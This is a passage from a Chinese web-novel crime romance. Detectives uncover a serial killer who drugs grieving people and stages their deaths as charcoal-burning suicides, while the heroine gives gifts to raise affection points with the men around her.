李砚川回复:“好的,没关系。”后面还带了一个可怜兮兮的小猫表情包。
祝好回了个“抱抱”的表情,心说鱼和熊掌不可兼得,为了破案只能先委屈你。抱起你,我可就没手搬砖了,更别提这儿还有个邪恶的包工头在。
把盘子和杯子洗干净后,她回到沙发边挨着程述坐下,露出一个虚伪又谄媚的笑:“大侦探,你研究出什么成果了吗?”
程述做作地伸了个懒腰:“辛苦一早上了,有点口渴。”
祝好:……
就知道这个邪恶包工头没那么好伺候。
她起身去厨房给程述倒了杯水,双手奉上。
程述接过水喝了两口,又活动了一下肩膀:“啧,怎么感觉肩膀有点儿累。”
“……”祝好松了松手指关节,薅住他的肩膀把他的背部转向自己:“累是吧,我好好帮你按一按。”
她用以前帮祝君安按摩的手法,把手肘顶在程述肩膀的穴位上,用尽全力往下一摁,程述嗷地叫出声,脊背瞬间挺直:“轻点儿!痛……痛痛痛!”
祝好一只胳膊横在他脖子前面防止他逃跑,咬牙切齿道:“痛就对了,不通才痛,你这个穴位一定是堵住了才会那么累,我帮你通一下。”
使唤她使唤得那么理所当然,万一没找到什么线索,还要害她错失一次提升好感度的机会,简直罪不可赦。
想到这儿,祝好手上的劲儿又重了几分:“我这手法可是专业的,你要是还觉得痛我接着帮你按。”
程述嗷嗷叫着求饶:“好了好了,通了通了。不痛了,一点都不痛。”
祝好这才心满意足地松开手:“说吧,研究出什么了?”
程述龇牙咧嘴地揉着肩膀,从桌上拿起几张纸塞到她手里:“你把这几封遗书重新读一遍,告诉我你有没有看出什么不对劲的地方?”
怎么还有考试环节?
祝好拿起桌上的几份遗书,细细阅览起来。
第一张是方晴的遗书——
【在茵茵面前我强颜欢笑,假装一切安好,只有我自己知道,这段时间我活得仿佛行尸走肉,表面上强装坚强,内心却痛苦万分。
以前我烦闷时,晓飞总是会耐心开导我,现在却只剩下我一个人。每一个因为噩梦惊醒的深夜,我都想随他而去。
这世界真不公平,为什么偏偏出事的是他?为什么要独留我承受这样的痛苦?我感觉自己快要崩溃了。】
接下来这一封是刘玉珍的——
【我到现在都想不明白自己为什么会犯下这样的错,如果不是我,我的宝贝孙子怎么会出事呢?是我的愚昧害了他,我罪孽深重。
我的良心无时无刻不在受谴责,就算儿子和儿媳要跟我断绝关系,也是我应得的,我没有理由责怪他们,更不敢奢求得到他们的原谅。
我的宝贝孙子,奶奶对不起你,如果还有重来的机会,我宁愿死的是我。】
最后一封是柯盛的——
【从四肢健全变成只能依靠轮椅和他人的辅助生活,其中的痛苦没有人能够感同身受。那么多天过去了,我依旧无法适应失去双腿的生活,早上起床时总是会重重地从床上摔下来,我没法站立,没法走路,更别提奔跑、跳跃甚至是登山了。
以前那些轻易就能做到的事,现在对我来说却成为了不可能,我意识到自己已经是一个没用的残废了。
别人看到的只有我的坚强、乐观、勇敢,而身体和心理的双重折磨,永远只有我自己知道。】
这三封遗书祝好之前也看过,并没发现什么不对劲的地方,现在再看也依旧如此,只得摇了摇头:“有什么不对劲的?我看不出来。”
程述提示她:“你不觉得这些遗书里少了什么吗?”
少了什么?
她又把那几封遗书翻来覆去、从头到尾看了几遍,连最后的署名都没漏掉,依旧没发觉什么端倪,再次茫然地摇了摇头。
程述换了个问法:“假设你现在马上就要死了,你的遗书会写什么?”
什么叫“她马上就要死了”,新年第一天,非要说那么不吉利的话吗?
虽然不明白他的用意,祝好还是依言仔细思索了一番,回答道:“可能会写我要自杀的理由,还有交代一些……”
她话音一顿,突然反应过来,这几封遗书里到底少了什么。
从内容上看,这些遗书从头至尾都表露出十分消极的情绪,字字句句都在宣泄自己的痛苦,却没有对家人和朋友交代任何事情——比如方晴还有个八个月大的女儿需要人照顾,就算决定要自杀,遗书里也不可能一句都不提到自己的女儿。
刘玉珍和柯盛也是如此,他们有家人、有朋友,生活中还有很多一时无法放下的事情,可遗书里却对此只字不提。
祝好提出自己的猜测:“难道说,这些不是遗书?”
程述点头同意她的看法:“没错,比起遗书,我觉得这更像是心理治疗的一种方式。”
“心理治疗?”
程述说:“对,在有的心理治疗中,会让患者把无法言说的哀伤和痛苦以文字的方式记录下来,宣泄负面情绪,也能让他们在书写中整理自己的思绪。”
“就比如对于因为失去至亲而深陷痛苦的患者,首先要让他们理解死亡的现实感,明白这件事确实发生了,已经无可挽回。其次就是鼓励患者表达自己的情绪,让他们把隐藏在内心的不良情绪发泄出来,协助他们开始新的生活。”
祝好恍然大悟:所以其实这些不是遗书,而是心理治疗的其中一部分内容,只不过被凶手利用,转移了警方的视线,并将这几起谋杀案伪装成了自杀。
遗书的谜团解决了,但还有一个疑问没有答案:几名受害者年龄、职业、生活经历都不相同,但他们生前均没有与人结仇,家中的财物的也没有丢失 ,那么凶手大费周章进入他们家,杀害他们目的究竟是什么?
第173章
程述刚把手伸向茶几上的手机,铃声就忽然响了起来。
他接起电话,调侃了句:“哟,老秦,那么有默契,我刚要给你打电话你就……”
话还没说完,秦聿风就急匆匆打断他:“我这边更急,又有一起烧炭自杀的案子出现了,地址我现在发给你,有什么事见面了再说。”
不等他回应,电话就被挂断了。
一个月时间内,连续出现四起手法如此相似的案子,而且从时间上看,凶手作案的间隔正逐渐缩短。
看来这年是别想安心过了。
秦聿风发来的地址是淮江市铁路局的旧职工大院,院子中间有一棵参天的老槐树,三四幢红砖外墙的矮楼房矗立在四周,院子门外已经停了三四辆警车。
这回的死者就住在一楼,阴冷潮湿的楼梯间堆积着不少杂物,有摞好的纸箱、塑料瓶,还有一把看起来有些年头的轮椅。
门口已经拉起了警戒线,现场勘查的警员都比上一回多了不少。
死者住的房子是几十年前常见的两室一厅的布局,大部分家具和电器都已经十分陈旧,沙发上的垫子缝缝补补,木柜上的油漆脱落了大半,天花板上的吊扇摇摇欲坠,唯有客厅中央放着一台50寸的新款彩电,与整间屋子格格不入。
与之前的几起案子相同,屋内东西摆放整洁,并没有任何打斗痕迹。
看到祝好,秦聿风苦笑了一下:“新年快乐,祝好。真不好意思,本来想给你们放个假的,没想到大过年的又有了新的案子。”
祝好心说不好意思的应该是她才对,毕竟这是她的剧情任务,还要让那么多人陪着一起加班,但面上还是笑了笑,大方地说了句:“没关系。”
秦聿风略一点头,领着他们往其中一个房间里走,进入正题:“死者名叫钟正平,63岁,是铁路局的退休职工,目前独居。”
钟正平身着一件褪色的蓝色棉袄,面色安详地躺在房间的床上,床边的铁盆里有燃尽的煤炭,一封手写遗书就摆在他的枕头边。
温珣跟法医助理也才刚到不久,他笑着跟祝好打了个招呼之后,开始了初步尸检。
程述戴上手套,拿起床头的遗书,祝好也赶紧凑过去,想要验证他们刚才的推测是否正确。
【周围的邻居都说,小武离开后,我终于能自由了,其实我也是这么想的。我已经很久没有离开过淮江市了,以前每天下了班就赶回家,生怕小武饿肚子或者出什么事,退休后更是每天呆在家里陪着他。有时候我感觉自己像一台机器,一直在运转,却没有任何感情和思维。
很多时候,我都想抛下一切永远离开,可我有工作、有同事、有朋友,能看外面的世界,小武却永远只能生活在这一方小天地,最多就是去院子里散散步,他的生命里只有我。
把他带到这个世界上受苦,却又为他的死松了一口气,我真是个不称职的父亲。】
秦聿风主动解释:“小武是死者的儿子,也是他唯一的亲人,患有严重的先天性脑瘫,上个月刚去世。”
祝好突然记起放在楼梯间的那副轮椅,应该就是钟正平的儿子生前所使用的。
钟正平留下的“遗书”同样没有交代任何事情——这也不奇怪,毕竟儿子就是他唯一的亲人,他就算有事要交代,也无人可以倾听了。
不过和先前那几封“遗书”一样的是,他的“遗书”通篇都在表达自己的悲伤和痛苦,却没有告别的语句。
这很有可能又是一起伪装成自杀的谋杀案。
程述问:“他儿子的死因是什么?”
“听说是病毒性感冒引发的呼吸功能衰竭。”
脑瘫患者长时间处在缺乏运动,体内代谢速度减慢,患病期间免疫力低下,很容易出现并发症和继发症,看似普通的感冒也可能引发生命危险。
程述继续刚刚在电话里没来得及说完的话:“老秦,觉得这几起案子留下的‘遗书’,并不是真正意义上的遗书,根据我们推测,更像是心理治疗过程中留下的宣泄情绪的文字。”
“心理治疗?”秦聿风掐着腰,环视了钟正平的房子一圈:“以他的经济状况,心理咨询的价格对他来说不低啊。”
祝好明白他的意思,或许像柯盛和方晴这样的年轻人在陷入迷茫和痛苦时,可能会想到寻求专业人士帮助。可刘玉珍和钟正平都只是普通的退休职工,经济水平也很一般,就算遭遇了不幸,几乎不会有花钱去做心理治疗的意识。
程述稍一思索,问道:“谁报的案?”
秦聿风:“是住在顶楼的邻居,在家里录口供呢。”
程述把遗书装进证物袋里还给他,朝祝好一勾手:“走,我们上去看看。”
祝好应了一声,跟在他身后往楼上走。
说是顶楼,其实这栋老式筒子楼也就只有五层楼。
狭窄的台阶几乎容不下两个人并肩而行,铁质的楼梯扶手早已经锈迹斑斑,常年不见阳光的楼道中飘散着一股潮湿的霉味。
路过二、三、四楼时,祝好注意到好几户人家门上的“福”字早已褪成了陈旧的淡粉色,门把手上塞满了广告传单,看起来已经许久没人居住了。
报案的邻居就住在五楼的左手边,透过敞开的房门,可以看到有警员正在给一对头发花白的夫妻录口供。
虽然门没关,祝好还是礼貌地敲了敲房门,警员看到是他们,默默往旁边挪了些,让出位置,同时介绍道:“大爷、大娘,这是我们局里的专家,有事想要问问你们。”
大娘一听到“专家”两个字,立刻露出敬畏的神色,起身就要去厨房给他们倒茶。祝好赶紧拦住她,请她坐回沙发上:“大娘,不用那么客气,我们就问几个问题。”
大爷大娘忙不迭点头:“好的好的,你们问。”
程述:“你们是怎么发现钟正平出事的?”
大爷回答:“昨天晚上我本来想叫他一起来家里吃饭,敲了半天却没人给我开门,但从窗户看房里又亮着灯,我想着他是不是睡着或者临时出门了,就让老太婆装了几个饺子挂在他门上。”
他拿起桌上的搪瓷杯喝了口水润嗓,接着说:“今天早上我出门买菜回来路过他家门口,才发现这饭盒里的饺子根本没动过,我一想,觉得不太正常,担心他是不是出事了,才赶紧打电话报警。”
“您平时经常给他送饭吗?”
大爷点点头:“是呀,我们是几十年的邻居了,这栋楼的住户都陆陆续续搬走了,剩下的也就我们、老钟和其他一两户,平时有什么事都会互相帮衬一下。”
几十年的邻居,对钟正平家的情况应该十分了解。
祝好问:“能把他儿子的情况详细跟我们说一下吗?”
“他儿子名叫小武,出生的时候就不太正常,特别是这儿。”大爷指了指自己的脑袋,说道:“智商只有三四岁,手脚也不利索,出行都靠轮椅。”
大娘叹息着摇头:“老钟这一辈子啊,苦得很。他老婆生下小武之后就跟他离婚了,他一个人辛辛苦苦把小武拉扯大,又当爹又当妈的,工资和退休金都花在小武身上了,退休之前除了上班就是在家照顾他,也没找过伴儿。”
祝好又问:“小武去世的时候,钟正平有什么表现?”
“当然是很难过了,虽然是个残废,但好歹养了三十几年,肯定是有感情的。”大娘长叹一口气:“不过我说句不好听的,老钟照顾了他三十多年,他的死对老钟来说也算是种解脱了。”
大爷也点头同意,语气里满是惋惜:“你说老钟怎么就这么想不开呢?”
程述问:“你们有没有注意到他最近跟什么人有过来往?”
“这个……”大爷跟大娘
对视一眼,摇了摇头:“应该没有吧,他其他亲戚都在老家,除了我们这几个老邻居,好像也没什么别的朋友了。”
“那昨天下午有人去过钟正平家吗?”
大爷为难地哟了一声:“不太清楚,我们从中午就一直在家里张罗着年夜饭,没太注意呢。”
大院里设施陈旧,住的人也不多,门口连保安都没有,更别提监控了。昨天恰逢除夕,大部分人都忙着在家里准备晚上的年夜饭,也有不少人提着东西来走亲戚,就算凶手混在其中,也鲜少会有人注意。
说话间,祝好注意到家里的柜子上放着几个新年礼盒,刚才在钟正平家也见过一样的,便问道:“大爷、大娘,方便问一下,这些礼品是谁送的吗?”
大爷回答:“哦,是铁路局专门给我们这些退休职工准备的新年福利,昨天早上刚送来的。”
原来如此,难怪钟正平家也有。祝好问:“我可以打开看看吗?”
“当然没问题。”大娘应了一声,起身把柜子打开,将礼盒拿出来摆在茶几上。
祝好大概看了一下,除了一些常见的米、面、油之外,还有一盒包装精美的茶叶。
大爷大概是担心她把茶叶的礼盒拆开,小心翼翼地暗示她:“这可是好茶,听说七八十块钱一斤呢。我可舍不得喝,还要留着将来送人呢。”
祝好会意地笑了笑,把礼盒放回原处。
与邻居的谈话结束后,再回到一楼钟正平的家里时,尸检已经结束了。
初步检测证明钟正平身上没有反抗伤,尸斑呈鲜红色,按压后不能完全消失,尸僵遍布全身关节。由此可以判断他同样死于一氧化碳中毒,而且死亡时间已经超过了20小时。
结合楼上大爷、大娘的证词来看,钟正平应该是昨天下午三点到六点之间去世的。
在钟正平家的电视柜上,祝好找到了跟楼上邻居家同样的礼品盒,只不过那盒包装精美的茶叶已经被打开了,盒子上面的铝箔被掀开了一个角,又小心翼翼地盖上。
七八十块钱一斤的茶叶对经济拮据的钟正平来说无疑是珍贵的,只有招待客人时才舍得倒出来一点点,说明对他而言,凶手是一名很重要的客人。
只是他没想到,这个看似值得信赖的客人,却是前来索命的恶魔,不仅在他的茶水里加入了麻醉剂,离开前还不忘把茶杯洗干净,销毁自己来过的证据。
秦聿风捏着发涩的眉心,问出了跟祝好同样的疑问:“老程,你说是连环杀人案,那凶手的目的到底是什么?”
程述思考良久,说:“先回局里吧,我需要对凶手进行一次犯罪心理剖绘。”
第174章
“GHB,也就是γ-羟基丁酸,是一种强效中枢镇静剂,进入人体后会影响脑部的多种传导物质,使人产生昏睡、失忆、神智不清或严重昏迷等现象。”
会议室里,温珣率先对毒物检测的结果进行了汇报,他推了推鼻梁上的金边眼镜,说道:“刘玉珍的遗体已经火化,钟正平的毒物检测结果至少要等明天才能出来,现在大家手上拿着的是其中两名受害者方晴和柯盛的尸检报告。目前可以确定的是,四名死者都死于一氧化碳中毒。”
“另外,我们采集了方晴的血液、尿液等生物样本及胃内容物,使用GC-MS进行定量分析,检测出她血液中的GHB浓度达到每毫升20mg。也就是说,她生前曾经服用过含有羟基丁酸的饮品,结合现场勘查的记录和她的胃内容物判断,应该是她家冰箱里的橙汁。柯盛的血液中也同样检测出GHB。”
秦聿风撑着额角,一脸凝重地盯着尸检报告看了好一会儿,转向负责现场勘查的警员:“你说两句。”
警员应声站起身:“由于刘玉珍和柯盛当时被认定为自杀,因此现场并没有得到很好的保护,许多证据没能保留下来。但从方晴家和钟正平家采集到的所有指纹都不在数据库中,说明凶手要么没有犯罪记录,要么就是进屋后全程戴着手套。”
“凶手不会全程戴着手套的。”程述突然插话:“她需要给受害者留下一个好印象,让他们放松警惕,因此进屋后一定会主动脱帽、摘手套,表现出自己的礼貌和友好。”
警员点点头:“我们正在抓紧时间对比其中是否有来自同一个人的指纹。”
秦聿风又转向另一名警员:“之前对方晴家小区监控的排查有什么结果吗?”
“有的。”负责排查监控的警员打开大屏幕,点开了监控录像,解释道:“方晴居住的小区属于中大型社区,共有5120户人家,人流量很大。我们在当日案前发正门、侧门的监控中,一共发现五十多位提着重物或背着背包进入小区的人员,排除掉男性的话,还剩下37位,目前还在逐一排查她们进入小区后的行动轨迹。”
案发当天正值雪天,监控录像中不少人都戴着帽子和口罩,更有甚者还撑着伞,想从中确定凶手的身份还需要一些时间。
秦聿风皱眉沉思片刻,向前倾身,问坐在对面的程述:“老程,你有什么推论?”
程述从尸检报告中抬眼,问了句:“听说过‘死亡天使’吗?”
这句话开始得没头没脑,“死亡天使”这个听着有些中二的词汇引来会议室里众人一阵交头接耳。
祝好在脑海里迅速搜寻,想起自己曾在一本跟犯罪心理学有关的书籍里看到过这个词,于是十分给面子地在嗡嗡的讨论声中接过他的话:“死亡天使是一种特殊类型的连环杀手,通常指利用职务之便实施连环谋杀的医疗工作者。”
程述一点头:“没错,比如美国有一名名叫查尔斯卡伦的护士,他承认自己在多家医院和疗养院工作的16年期间杀害了至少40名病患,但据称受害者可能超过300人。在他的供诉中,他宣称自己这么做是为了‘清除低质量生命体’。”
话刚落音,会议室里一片哗然,有人提出:“你的意思是,凶手是医院的员工吗?”
程述摇摇脑袋:“不,‘死亡天使’只是个代称,除了医疗工作者之外,还有消防员甚至是警察。不过与其讨论凶手为什么杀人,不如先讨论她为什么选择这几位受害者。调查了那么多天,你们发现受害者之间的共同点了吗?”
有警员接过话:“几名受害者的性别、外貌、职业、年龄、社会背景都不一样,经过调查走访,他们之间也互相不认识,完全没什么共同点啊。”
程述依次指着白板上受害者的照片:“方晴因为车祸失去丈夫,刘玉珍因为失误导致孙子噎死,柯盛因为车祸失去双腿,钟正平也刚失去他的儿子。虽然他们的遭遇各不相同,但不论是失去亲人,还是因意外导致残疾,他们都在经历着令人痛不欲生的创伤。”
会议室里又是一阵议论。
秦聿风抬手叩了叩桌面,示意大家安静下来,问道:“老程,你的意思是,凶手的作案目标是那些正在经历创伤的人?”
所有人齐刷刷把目光转向程述。
程述竖起一只手掌,掰着手指边数边解释:“‘死亡天使’杀人的原因有很多种,比如童年创伤、心理疾病甚至是为了寻求刺激。不过大部分‘死亡天使’之所以杀人,是因为某种扭曲的使命感和道德优越感让他们视自己为‘仁慈的终结者’。他们将谋杀重构为‘特殊救治行为’,并享受掌控他人生死的感觉,以获得对权利和控制欲的满足。”
秦聿风十指交叉放在鼻端下,顺着他的话稍一思索,问道:“那我们要找的凶手,到底是个怎么样的人?”
程述慢条斯理地站起身,踱步到白板前面,正色道:“我们要找的这个凶手是名女性,年龄大约是40到55岁之间,外表上看没有任何攻击性,为人热
情、性格和善,很容易让人对她产生信任感。”
有警员问道:“这个结论是怎么得出来的?”
程述指了指祝好:“祝好,你来解释一下。”
祝好猝不及防被点名,迅速地组织了一下语言:“首先,凶手去柯盛家时穿的是女款拖鞋。其次,凶手下手前选择先用GHB将受害者迷晕,说明她对自己的体力并没有自信。最后,所有的受害者都对她毫无防备,不仅主动邀请她进屋,而且还用好茶招待她,说明她十分受到受害者的信赖。”
程述说:“没错。另外,这名凶手很有耐心,她会花时间摸清楚受害者的生活习惯和家庭情况,并选择他们独自在家时,借着上门探望的名义对他们下手。”
会议室里众人议论纷纷,有警员提出猜测:“有没有可能凶手并不是故意谋杀,而是协助想寻求死亡的人自杀呢?”
程述摇头,把那几封遗书的复印件发给在场的警员,解释道:“如果凶手是出于某种病态的‘好心’去协助受害者自杀,那么受害者的遗书上至少会交代一些未完成的事情,而不是像现在这样通篇都在宣泄痛苦的情绪,甚至没有任何告别的语句。如果我们的推测没错,这些遗书应该属于心理治疗的其中一个环节。”
说到这里,他突然顿住,垂着眼帘稍一思索,沉声道:“而且这些遗书,很有可能早就在凶手的计划之中。”
目前发现的所有受害者都沉溺在不同的苦难中,凶手正是利用了这一点,成功把谋杀伪装成自杀——毕竟从旁观者的角度看,这几名受害者在巨大的精神压力下,本就容易产生寻死的念头,加上现场都留有亲笔写下的遗书,更是坐实了他们死于自杀。
结合“死亡天使”杀人的动机来推断,凶手相信自己所作所为是仁慈的,是为了将这些人带离痛苦的泥沼。
而死亡,就是结束这一切苦难的最好方式。
她认为受害者不敢自杀,所以她必须成为那个“仁慈的终结者”,替他们结束自己的生命。
过了一会,有人开口问:“那受害者是怎么跟凶手认识的?”
程述想了想:“这个凶手很聪明,能在短时间内获得受害者的信任,根据遗书的内容,我觉得她很有可能从事心理咨询或与之相关的工作。”
利用职业之便,引诱受害者写下遗书,好用来误导警方的视线,洗清自己的嫌疑。不得不说,凶手的确十分谨慎,也十分聪明。
“可我让人查过了,除了柯盛在住院期间接受过心理辅导之外,其他受害者都没有接受过心理治疗。”秦聿风说。
程述皱眉:“线上的心理咨询也没有吗?”
“没有。”
除了心理医生,还有什么人能在短时间内获得一个陌生人的信任,让他们敞开心扉与自己交谈,并听从自己的意见自愿写下那些“遗书”?
“这个嘛……”程述捻着下巴,摆出一副沉思的姿态,片刻后,在所有人期待的目光中无所谓地耸了耸肩,撂下一句“我也还没想明白”,慢悠悠回到椅子上坐下。
秦聿风揉捏着自己的太阳穴,重重叹了口气:“真是开年不利啊。”
祝好想到什么,刚要习惯性地举起手,又想起秦聿风之前的叮嘱,于是干咳一声作为开场,说道:“是创伤。”
会议室里众人不约而同把目光投向她,秦聿风对她扬起嘴角,示意她继续说下去。
祝好清了清嗓:“与对方分享自己最隐秘的伤痛,展露自己最脆弱的部分,就能引起共鸣,迅速拉近两个人之间的距离。”
她接着说:“我有一个猜想。‘遗书’确实是心理治疗的一种方式,会不会凶手其实并非专业的心理医生,只是接受过心理治疗,并从医生那里学会了这一方式,然后依葫芦画瓢用到受害者身上?”
刚才程述也说过,凶手十分聪明,那么她一定会利用自己的优势,主动向受害者敞开心扉,诉说自己痛苦的遭遇,引起受害者的共鸣,降低他们的警惕,并为自己寻求下手的机会。
有警员问:“那凶手又是怎么知道这些受害者的遭遇呢?”
祝好一愣,一时也想不出合适的答案来支撑自己的推测。
受害者的年龄、职业、性别以及教育水平、经济收入都不一样,也没有接受过心理治疗,那么凶手究竟是从哪里知道他们正在经历创伤?
会议室里一时寂静无声,每个人都陷入思考当中。
“是医院。”程述突然开口,打断了所有人的思绪:“老秦,马上查一下,受害者有没有去过同一家医院。”
*
年轻女孩坐在医院妇科候诊室的角落,揉皱的b超检查单从指缝漏出一角,她微微垂眼,抑制不住的眼泪一滴接一地落下。
“姑娘,别哭了,来,擦擦眼泪。”
女孩闻声转头,有些警惕地看着身旁慈眉善目的中年女人,却始终没伸手接过她手里的纸巾,而是默默把头撇向一旁低声啜泣,试图用沉默拒绝女人的好意。
女人没有被她的冷漠吓退,只是幽幽地叹了口气,说道:“如果你爸爸妈妈看到你现在的样子,一定也很不好受。”
女孩一愣,紧紧咬着嘴唇,好不容易干涸的双眼又一次盈满泪水,低声嗫嚅:“我不敢让他们知道。”
女人抬手轻轻拭去她的眼泪,温声说道:“但这些事情憋在心里会很难受,你不应该一个人承受。”
女孩沉默了半晌,深吸一口气,低头轻抚自己的小腹:“我真的很舍不得它,可它的到来根本就是个错误,它不能留下来。”
中年女人柔和地笑了笑:“我理解你的感受,因为……我曾经也面临这样的抉择。”
女孩眼底闪过一丝惊异:“真的吗?”
“真的。”女人轻轻拍了拍女孩的手背,给她递上一个安慰的眼神:“我叫索晓兰,看你的年纪,你妈妈应该跟我差不多大,不介意的话,你可以叫我一声阿姨。”
女孩犹豫片刻,终于抬眼跟她对视:“索阿姨,那你……最后是怎么选择的?”
第175章
半个小时后,一份调查结果摆在秦聿风办公桌上。
“秦队,经过调查和核实,方晴的丈夫、刘玉珍的孙子、钟正平的儿子抢救时去的医院都是淮江市第一医院,另外,柯盛也是在那儿进行的康复治疗。”
秦聿风一心二用,边听着警员的总结,边簌簌翻动着手里的资料,目光在字里行间穿梭,眉头越拧越紧。
淮江市第一医院是全淮江市规模最大的公立医院,光是在职员工就有五千多名,几名受害者虽然都去过这家医院,但都不是同一个科室。
这样一来,很难确定凶手的身份。
程述静思片刻,说:“如果凶手是医院的员工,她完全可以直接选择对医院里的病人下手。而不是大费周章去接近受害者,再冒险进入他们家里给他们下药。”
以往许多“死亡天使”连环杀手的案例中,凶手都是通过给注射药物将患者杀死,并且都在犯案多起后才被人察觉——毕竟在医院里,生老病死是最常见的事。
前来汇报情况的警员疑惑:“不是员工,难道是病人吗?”
是病人的话那就更难办了,淮江市第一医院平均每天的接诊数基本都在一万人以上,加上病人家属,人就更多了。
想要在这么多人中锁定凶手的身份,无异于大海捞针。
秦聿风捏着眉心叹了口气,喃喃自语:“早知道昨晚就跟我妈去烧柱香了。”
程述抛给他一个嫌弃的眼神:“你一人民警察,怎么那么迷信呢。”
秦聿风:“你还好意思说,我发现自从把你弄回来之后案子就没停过。诶老程,你该不会是克我吧?”
程述意味深长地瞥向祝好:“你怎么没想过克你的另有其人。”
祝好只当没听到,目不转睛地盯着白板。
看着上面一张张受害者的照片和案发的日期,她忽然发觉一丝端倪:从第一名受害者刘玉珍到第二名受害者柯盛,中间间隔了半个月时间,从柯盛到方晴,也同样是半个月。
这半个月时间里,凶手或许一直在物色新的作案目标,并且想办法与他们建立联系,以获取他们最大限度的信任。
然而这回刚杀害方晴没几天,她却又立刻杀害了钟正平,是什么让她冒险加快了作案的速度?
是因为察觉到警方正在调查,还是有什么事刺激了她,让她觉得自己一定要对钟正平下手?
祝好脑袋里打过一道闪电,赶紧拍了拍程述的胳膊,问道:“老大,刚刚你说凶手相信自己所作所为是为了将这些人带离痛苦,那会不会有一种可能,她有着跟钟正平类似的遭遇,因此觉得他迫切需要自己的‘拯救’?”
结合钟正平遗书的内容来看,他因为长期照顾患有严重脑瘫的儿子而感到身心疲倦,儿子死后,突然出现的放松心理又令他十分内疚。同时被两种矛盾的情绪不停拉扯,让他深陷痛苦的沼泽中,甚至认为自己是个不
称职的父亲。
而凶手自己很有可能也经历了某种跟钟正平类似的创伤,导致她的认知发生了变化,让她觉得自己有义务尽早将钟正平从苦难中拯救出来,同时也借此机会通过合理化自己的行为来减轻内心的愧疚感。
秦聿风坐直了身子:“你的意思是,凶手也有一个患有某种先天性疾病的孩子?”
祝好点头:“没错,而且这个孩子……或许跟钟正平的儿子一样已经去世了,因此凶手对他的遭遇感同身受,觉得自己必须要尽快让他脱离痛苦。”
“脑瓜子转得还挺快。”程述轻轻拍了拍祝好的后脑勺,又转头迎着从秦聿风眼角射出的冷刀,若无其事地笑了笑:“老秦,你派人查查这半年内有没有20到35岁之间,因为某种先天性疾病去世的人。”
顿了顿,他又补充道:“重点调查那些生活不能自理,需要人长期照顾的病人。”
秦聿风朝警员使了个眼色。警员会意,拿着手机转身离开了办公室。
过了几分钟,他又折返回来,说道:“秦队,医院那边说会尽力协助调查,不过现在大部分技术人员还在休假,而且我们给出的范围有点广,他们需要大概24小时时间。”
程述说:“凶手不会那么快行动,24小时足够了。”
看到秦聿风点头,警员抓了抓脑袋,欲言又止:“秦队,那我们——”
秦聿风明白他的意思,看了眼腕上的手表,挥了挥手:“让大家都回去吧,该休息的休息,该陪家人的陪家人,明天按时到。”
警员大喜,说了句“谢谢秦队”就一溜烟跑了。
秦聿风又转向祝好:“祝好,你们也先回去歇着吧,有消息我会第一时间通知你们。”
程述丝毫没有要推托的意思,起身伸了个懒腰,把车钥匙扔给祝好:“先去车上等我,我上个洗手间。”
祝好哦了一声,还没走出几步就被秦聿风叫住:“对了,祝好,今天一直在忙,差点儿忘了这个。”
说着从口袋里掏出一个红包递给她,不好意思地揉了揉鼻梁:“这是……小熊替你保管的红包。新年快乐。”
祝好接过红包,视线掠过他飘红的耳尖,突然想到什么,赶紧打开背包,把那个从系统商城兑换的钱包递给他:“我也给你准备了礼物,新年快乐!”
秦聿风一愣,不可置信地看着她手里的钱包,一时竟忘了伸手接过。
祝好又把钱包往前递了一些:“怎么了,不喜欢吗?”
“不不不,我很喜欢。我只是没想到……你会送我东西。”秦聿风赶紧双手接过钱包,捧在手里翻来覆去看了好一会儿,脸上露出难以自抑的笑。
系统传出提示音:“与秦聿风的好感度+10,获得100积分!”
原来送礼物真的能提升好感度!虽然羊毛出在羊身上,不过这个钱包只花了60点积分,这么算下来,祝好还是赚到了。
关上秦聿风办公室的门,祝好简直要乐坏了。包里还装着给温珣和李砚川礼物,如果全送出去的话,就能净赚120点积分!
想到这里,她转头看向走廊另一头还亮着灯的法医办公室,走过去敲了敲门。
里面很快传出温珣的声音:“进来。”
听到推门声,坐在电脑前的温珣抬头往门口看了一眼,放下手里的资料,连人带椅转向祝好:“祝好,你还不回去吗?新年第一天就要工作,辛苦了。”
祝好目光扫过他堆着各类文件和瓶瓶罐罐的办公桌,说道:“你还不是一样。”
温珣唇边抿着笑:“我习惯了。有什么事吗?”
“我是来给你送新年礼物的。”
温珣略带惊讶地对上她的目光:“新年礼物?”
祝好拿出藏在身后的按摩仪扬了扬:“你平时工作总是低着头,颈椎一定会不舒服吧?我给你准备了这个,你休息的时候可以随时放松一下。”
说着将按摩仪套在温珣脖子上,摁下开关。
温珣向后靠在椅背里,闭上眼睛轻轻呼了口气,用心地感受了好一会儿,才说:“嗯,真的很舒服。谢谢,你太贴心了。”
系统响起提示音:“与温珣的好感度+10,获得100积分!”
祝好差点儿绷不住笑出声,早知道送礼物能提升那么多好感度,她就不用辛辛苦苦想办法攻略了,直接当个黑心中间商靠送礼物赚差价就行。
“祝好。”
“啊?嗯,我在。”祝好赶紧把抑制不住翘起的嘴角压下去,发现温珣不知什么时候已经睁开了眼睛,正笑吟吟地望着她。
“时间还不算晚,我听说中心大街有花灯会,你想一起去看看吗?”
可攻略对象提出了约会邀请,这也是提升好感度的前兆啊!
祝好刚想答应,就听到门口传来一道贱兮兮的声音:“温主任,我也想去看花灯,能不能带上我?”
祝好:“……”
又来了。
温珣脸上的笑容顷刻间消失,没好气地说了句:“不能,听说管制刀具无法入内。”
程述推开门大摇大摆走进屋里,伸手从温珣的鼻梁上取下那副金丝眼镜,眯起一只眼睛把镜片对着他的脸,随口问道:“哪儿来的管制刀具?”
温珣冷冷地瞥了他一眼:“不就在你嘴上吗?”
程述笑嘻嘻地把眼镜还给他:“啧,我们温主任讲话真是越来越有水平了。待会儿带上我,今天就算你赢了。”
祝好拼命朝程述使眼色,扯着他的胳膊把他拉出法医办公室,低下头双手合十冲他一拜:“老大,我求你放过我吧,别破坏我的约会。”
她已经不奢求程述能成为一个为她出谋划策的军师了,只求他不要再捣乱就行。
程述靠在墙上,眼底的温度骤降,全然没有了刚才那副吊儿郎当的模样,过了好一会儿才问:“你真的想去吗?”
祝好毫不犹豫地点头。
当然想了,虽然跟送礼物相比,约会略显麻烦,但说不定能提升不少好感度呢。
积分这种东西,当然是越多越好。
程述垂着眼,喉结上下一滑,好似本能地咽回了什么:“好吧,那你们玩得开心,我先回去了。”
说着转过身,双手插在外套口袋里,提步朝走廊的反方向走去。
祝好望着他的背影,不知怎么突然觉得他整个人看起来空落落的,忍不住开口叫住他:“老大,你没事吧?”
程述脚步一顿,却没回头,只是轻笑了一声:“我能有什么事?今晚……咳,还要给你留门吗?”
祝好脱口回答:“当然,这才哪儿到哪儿。”
